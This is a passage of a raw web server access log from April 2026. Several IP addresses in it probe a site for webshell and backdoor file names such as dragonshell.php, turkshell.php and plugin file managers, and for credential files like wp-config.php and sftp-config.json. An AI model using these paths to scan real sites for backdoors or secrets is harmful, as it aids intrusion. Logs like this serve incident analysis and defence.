(Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 144.31.151.48 - - [19/Apr/2026:05:43:02 +0300] "HEAD /sito HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 144.31.151.48 - - [19/Apr/2026:05:43:05 +0300] "HEAD /site HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 144.31.151.48 - - [19/Apr/2026:05:43:10 +0300] "HEAD /Site HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 144.31.151.48 - - [19/Apr/2026:05:43:12 +0300] "HEAD /SITE HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 144.31.151.48 - - [19/Apr/2026:05:43:16 +0300] "HEAD /blog HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 144.31.151.48 - - [19/Apr/2026:05:43:19 +0300] "HEAD /BLOG HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 144.31.151.48 - - [19/Apr/2026:05:43:24 +0300] "HEAD /Blog HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.48.184.58 - - [19/Apr/2026:06:23:36 +0300] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:23:39 +0300] "GET /fm.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:24:23 +0300] "GET /buy.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:24:26 +0300] "GET /core.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:24:28 +0300] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:24:30 +0300] "GET /wp-block.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:24:33 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:24:37 +0300] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:24:40 +0300] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:24:42 +0300] "GET /z.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:24:45 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:24:48 +0300] "GET /hplfuns.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:24:51 +0300] "GET /lock.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:27:57 +0300] "GET /av.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:28:01 +0300] "GET /dragonshell.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:28:05 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 103.77.107.222 - - [19/Apr/2026:05:03:52 +0300] "GET /sftp-config.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 20.48.184.58 - - [19/Apr/2026:06:22:14 +0300] "GET /wp-includes/oqjlcq.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:22:17 +0300] "GET /public/index.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:22:25 +0300] "GET /public/az.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:22:27 +0300] "GET /index.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:22:31 +0300] "GET /app/Utils/language.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:22:35 +0300] "GET /wp-settings.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:22:35 +0300] "GET /wp-config.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:22:35 +0300] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:22:38 +0300] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:22:41 +0300] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:23:45 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:23:49 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:23:52 +0300] "GET /wp-the.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:23:54 +0300] "GET /CDX2.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:23:57 +0300] "GET /profile.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:23:59 +0300] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:24:01 +0300] "GET /ws80.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:24:57 +0300] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:24:59 +0300] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:28:22 +0300] "GET /gifclass.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:28:26 +0300] "GET /sql.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:30:05 +0300] "GET /sid3.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:30:09 +0300] "GET /load.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:30:13 +0300] "GET /166.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:30:15 +0300] "GET /leaf.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:30:19 +0300] "GET /grsiuk.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:30:41 +0300] "GET /amax.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:30:43 +0300] "GET /CDX1.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:31:11 +0300] "GET /php.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:36:06 +0300] "GET /config.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:36:10 +0300] "GET /item.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:24:18 +0300] "GET /app.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:27:15 +0300] "GET /tool.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:27:18 +0300] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:28:15 +0300] "GET /gg.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:28:36 +0300] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:28:40 +0300] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:28:42 +0300] "GET /wp-p2r3q9c8k4.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:28:45 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:28:48 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:28:50 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:28:53 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:28:55 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:29:41 +0300] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:31:21 +0300] "GET /wp-Blogs.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:31:24 +0300] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:31:24 +0300] "GET /wp-content/plugins/beteng88/ws83.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:31:27 +0300] "GET /ws83.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:31:31 +0300] "GET /file61.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:31:33 +0300] "GET /sadcut1.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:31:36 +0300] "GET /y.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:31:40 +0300] "GET /akcc.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:32:55 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:32:59 +0300] "GET /t.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:33:02 +0300] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 194.104.10.19 - - [19/Apr/2026:07:02:16 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 141.255.164.66 - - [19/Apr/2026:07:29:54 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36" 141.255.164.66 - - [19/Apr/2026:07:29:58 +0300] "GET /wp-includes/.cache_key HTTP/1.1" 301 795 "https://duckduckgo.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Gecko/20100101 Firefox/122.0" 80.85.246.140 - - [19/Apr/2026:08:55:00 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 173.252.82.112 - - [19/Apr/2026:09:22:00 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 43.130.12.43 - - [19/Apr/2026:07:28:11 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 156.67.26.52 - - [19/Apr/2026:07:38:30 +0300] "GET /wp-content/plugins/shell/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 49.51.166.228 - - [19/Apr/2026:08:42:32 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 156.67.27.119 - - [19/Apr/2026:09:15:04 +0300] "GET / HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 156.67.27.119 - - [19/Apr/2026:09:15:05 +0300] "GET /wp-includes/css/buttons.css HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 43.138.68.113 - - [19/Apr/2026:09:19:32 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 45.94.31.132 - - [19/Apr/2026:10:42:32 +0300] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.94.31.132 - - [19/Apr/2026:10:42:32 +0300] "GET /wp-content/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.94.31.132 - - [19/Apr/2026:10:42:32 +0300] "GET /wp-includes/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.94.31.132 - - [19/Apr/2026:10:42:32 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.94.31.132 - - [19/Apr/2026:10:42:32 +0300] "GET /wp-includes/rest-api/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.94.31.132 - - [19/Apr/2026:10:42:32 +0300] "GET /wp-includes/blocks/post-template/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.94.31.132 - - [19/Apr/2026:10:42:32 +0300] "GET /schallfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 132.196.3.209 - - [19/Apr/2026:11:02:00 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 45.94.31.132 - - [19/Apr/2026:10:42:32 +0300] "GET /wp-includes/widgets/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.94.31.132 - - [19/Apr/2026:10:42:32 +0300] "GET /wp-admin/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.34.248.146 - - [19/Apr/2026:11:43:11 +0300] "GET /hello-world/ HTTP/1.0" 301 795 "http://eliteewallet.com/hello-world/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Avast/131.0.0.0" 43.167.232.38 - - [19/Apr/2026:13:12:27 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 49.51.47.100 - - [19/Apr/2026:14:01:48 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 103.180.237.164 - - [19/Apr/2026:14:53:30 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 107.189.18.50 - - [19/Apr/2026:15:43:38 +0300] "GET /unzipper.php HTTP/1.1" 301 795 "-" "Python-urllib/2.7" 43.140.247.223 - - [19/Apr/2026:15:48:00 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 158.158.116.61 - - [19/Apr/2026:17:15:32 +0300] "GET /bkyac.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:15:47 +0300] "GET /rogsa.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:15:50 +0300] "GET /xbbih.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:16:20 +0300] "GET /less.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:17:19 +0300] "GET /dgmry.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:18:48 +0300] "GET /dichku.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:18:52 +0300] "GET //sl.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:19:04 +0300] "GET /CDX1.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:19:23 +0300] "GET /mff.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:19:23 +0300] "GET /aq.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:19:49 +0300] "GET /krntz.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:19:55 +0300] "GET /xper1.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:20:03 +0300] "GET /kikikoko.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:20:17 +0300] "GET //nwflm.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:20:33 +0300] "GET /lupo.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:20:46 +0300] "GET /awa.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:20:52 +0300] "GET /sadcut1.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:21:12 +0300] "GET /ggb.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:21:17 +0300] "GET /13.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:21:19 +0300] "GET /lb.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:21:25 +0300] "GET /wert.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:21:31 +0300] "GET /11.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:21:48 +0300] "GET /dqagu.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:21:50 +0300] "GET /oij98gy.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:21:53 +0300] "GET /bthil.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:22:43 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:22:59 +0300] "GET /3.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:23:04 +0300] "GET /4.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:23:59 +0300] "GET /.mopj.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:24:00 +0300] "GET /HLA-dd.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:24:01 +0300] "GET /100.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:24:09 +0300] "GET /hfles.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:24:38 +0300] "GET /oircv.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:26:02 +0300] "GET /ynjli.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:27:06 +0300] "GET /cdn3.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:27:06 +0300] "GET /sf.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:28:11 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:28:12 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:28:29 +0300] "GET /a5.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:28:56 +0300] "GET //inputs.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:29:05 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:30:21 +0300] "GET /xqq.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:30:28 +0300] "GET /plss3.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:30:29 +0300] "GET /plss3.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:30:36 +0300] "GET /aaa.php?p= HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [19/Apr/2026:16:57:13 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 172.202.75.66 - - [19/Apr/2026:17:00:23 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:15:19 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:15:58 +0300] "GET /qqjki.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:18:33 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:18:48 +0300] "GET //sl.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:19:08 +0300] "GET /flox.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:19:26 +0300] "GET //filemanger2.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:19:33 +0300] "GET //filemanger2.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:19:36 +0300] "GET /eursi.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:20:18 +0300] "GET /kikikoko.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:20:19 +0300] "GET //nwflm.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:20:45 +0300] "GET /xff.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:21:36 +0300] "GET /wp-ccv.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:22:26 +0300] "GET /7.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:22:44 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:22:51 +0300] "GET /2.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:24:01 +0300] "GET /100.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:24:13 +0300] "GET /nano.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:24:17 +0300] "GET /gbhyv.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:24:38 +0300] "GET /111.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:24:46 +0300] "GET /awdld.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:24:55 +0300] "GET /aligk.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:24:58 +0300] "GET /aligk.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:25:45 +0300] "GET /no18.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:26:36 +0300] "GET /inege.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:26:57 +0300] "GET /uuu.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:27:20 +0300] "GET //xwpg.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:27:48 +0300] "GET /inege.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:27:48 +0300] "GET /fe5.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:27:48 +0300] "GET /a2.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:27:52 +0300] "GET /uuu.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:27:52 +0300] "GET /sf.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:27:52 +0300] "GET /no1.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:27:53 +0300] "GET /w2025.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:27:54 +0300] "GET /fvvff.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:27:54 +0300] "GET /a2.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:27:54 +0300] "GET //edit.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:28:33 +0300] "GET /wcoiw.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:29:20 +0300] "GET //aa.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:29:57 +0300] "GET /bless4.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:30:54 +0300] "GET /classwithtostring.php?p= HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:30:54 +0300] "GET /011i.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:16:25 +0300] "GET /torsa1.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:16:36 +0300] "GET /oti.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:18:03 +0300] "GET /clcdu.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:19:44 +0300] "GET /Ov-Simple1.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:19:51 +0300] "GET /wp-vn1.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:19:56 +0300] "GET /wp-vn1.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:19:56 +0300] "GET /ewp.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:20:18 +0300] "GET /vopxx.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:21:03 +0300] "GET /lp5.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:21:09 +0300] "GET /ggb.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:22:00 +0300] "GET /bthil.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:22:00 +0300] "GET /turkshell.php 